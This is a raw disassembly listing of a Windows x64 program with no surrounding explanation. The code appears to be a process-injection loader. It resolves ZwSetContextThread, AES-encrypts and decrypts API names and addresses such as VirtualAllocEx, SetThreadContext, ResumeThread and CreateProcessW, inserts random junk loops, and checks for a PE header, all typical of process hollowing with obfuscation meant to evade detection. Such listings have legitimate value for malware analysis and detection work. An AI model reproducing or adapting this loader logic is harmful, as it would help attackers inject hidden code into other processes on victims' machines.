mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068c6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rbx
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140006923
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000691d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000691d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x578], rbx
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140006981
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000697b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000697b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x518], rbx
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x1400069f0
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], rbx
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140006a35
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x540], rbx
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006a92
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov eax, 1
jmp 0x1400093c8
lea rdx, [rbp + 0x600]
cmp qword [rbp + 0x618], 0xf
cmova rdx, qword [rbp + 0x600]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140006b86
lea rdx, str.Failed_to_get_address_of_ZwSetContextThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x600]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x620]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x588]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x550]
call fcn.14000a020
nop
lea rcx, [rbp + 0x568]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x508]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x4f0]
call fcn.14000a020
nop
lea rcx, [rbp + 0x530]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5a8]
call fcn.14000a020
mov eax, 1
jmp 0x1400093c8
mov ecx, pe_nt_image_headers64
call fcn.14000e5b0
mov rdi, rax
mov ecx, pe_nt_image_headers64
call fcn.14000e5b0
mov rsi, rax
mov dword [rbp - 0x4c], ebx
mov dword [rbp - 0x48], ebx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x990]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x780]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 0xf
lea r9, str.ZwResumeThread
lea r8, [rbp - 0x4c]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x4c]
add rdx, rdi
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x4c], eax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 8
lea r9, [rbp]
lea r8, [rbp - 0x48]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x48]
add rdx, rsi
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x48], eax
mov dword [rbp - 0x40], 0
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x4c]
mov dword [rsp + 0x20], eax
mov r9, rdi
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x9d0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x40]
lea rdx, [rbp + 0x9d0]
add rdx, rax
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x40], eax
xor edi, edi
mov qword [rbp - 0x20], rdi
mov dword [rbp - 0x3c], edi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x48]
mov dword [rsp + 0x20], eax
mov r9, rsi
lea r8, [rbp - 0x3c]
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x3c]
lea rdx, [rbp - 0x20]
add rdx, rax
lea r8, [rbp + 0x528]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x528]
add dword [rbp - 0x3c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [rsp + 0x50], edi
mov dword [rbp - 0x44], edi
mov dword [rbp - 0x50], edi
mov dword [rbp - 0x38], edi
mov dword [rbp - 0x54], edi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub rax, r15
mov qword [rbp + 0x6a0], rax
sub r12, r15
mov qword [rbp + 0x6a8], r12
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
sub rax, r15
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
sub rax, r15
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
sub rax, r15
mov qword [rbp + 0x670], rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x850]
lea rcx, [rbp + 0x6a0]
call fcn.1400047c0
lea rax, [rbp + 0x708]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x44]
lea r8, [rbp + 0x890]
lea rcx, [rbp + 0x6a8]
call fcn.1400047c0
lea rax, [rbp + 0x708]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x50]
lea r8, [rbp + 0x8d0]
lea rcx, [rbp + 0x6b0]
call fcn.1400047c0
lea rax, [rbp + 0x708]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x38]
lea r8, [rbp + 0x910]
lea rcx, [rbp + 0x6b8]
call fcn.1400047c0
lea rax, [rbp + 0x708]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x730]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x950]
lea rcx, [rbp + 0x670]
call fcn.1400047c0
xor r12d, r12d
mov ebx, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140006f77
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub edi, ecx
mov ecx, dword [rbp - 0x58]
add ecx, edi
mov dword [rsp + 0x54], ecx
mov ecx, dword [rsp + 0x54]
mov eax, dword [rbp - 0x58]
sub ecx, eax
mov dword [rsp + 0x54], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140006f14
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006fad
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000705a
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140006fe3
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007035
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x850]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140007011
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007035
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp + 0x10]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140007051
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007090
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000713c
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400070c6
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007117
mov eax, dword [rbp - 0x44]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x890]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x18]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400070f3
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007117
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp - 0x18]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140007133
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007172
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007224
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400071a8
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400071ff
mov eax, dword [rbp - 0x50]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x8d0]
lea r8, [rbp - 0x44]
lea rdx, [rbp + 0x678]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400071d8
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400071ff
movsxd rax, dword [rbp - 0x44]
lea rdx, [rbp + 0x678]
add rdx, rax
lea r8, [rbp - 0x44]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x14000721b
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000725a
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000730c
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007290
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400072e7
mov eax, dword [rbp - 0x38]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x910]
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x698]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400072c0
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400072e7
movsxd rax, dword [rbp - 0x50]
lea rdx, [rbp + 0x698]
add rdx, rax
lea r8, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140007303
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007342
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400073ee
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007378
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400073c9
mov eax, dword [rbp - 0x54]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x950]
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400073a5
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400073c9
movsxd rax, dword [rbp - 0x38]
lea rdx, [rbp - 0x10]
add rdx, rax
lea r8, [rbp - 0x38]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x1400073e5
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov rax, qword [rbp - 0x18]
add rax, r15
mov qword [rbp - 0x38], rax
mov rbx, qword [rbp - 0x10]
add rbx, r15
lea rdi, [rbp + 0xce0]
xor eax, eax
mov ecx, 0x1208
rep stosb byte [rdi], al
lea rax, [rbp + 0xad0]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp word [rax + rdi*2], r12w
jne 0x140007420
add rdi, rdi
mov r8, rdi
lea rdx, [rbp + 0xad0]
lea rcx, [rbp + 0xce0]
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x20
mov word [rbp + rdi + 0xce0], ax
mov rax, qword [rbp - 0x80]
movzx eax, word [rax]
mov word [rbp + rdi + 0xce2], ax
movsxd r15, dword [0x14001710c]
lea rax, [0x1400170d0]
add r15, rax
cmp dword [r15], 0x4550
je 0x140007867
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x1400074c2
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400074bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140007520
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000751a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000751a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x14000757e
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007578
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007578
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x1400075dc
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400075d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400075d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x14000763a
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007634
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007634
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x1400076a9
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007691
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007691
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x1400076ee
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400076e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x14000774c
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007746
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007746
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
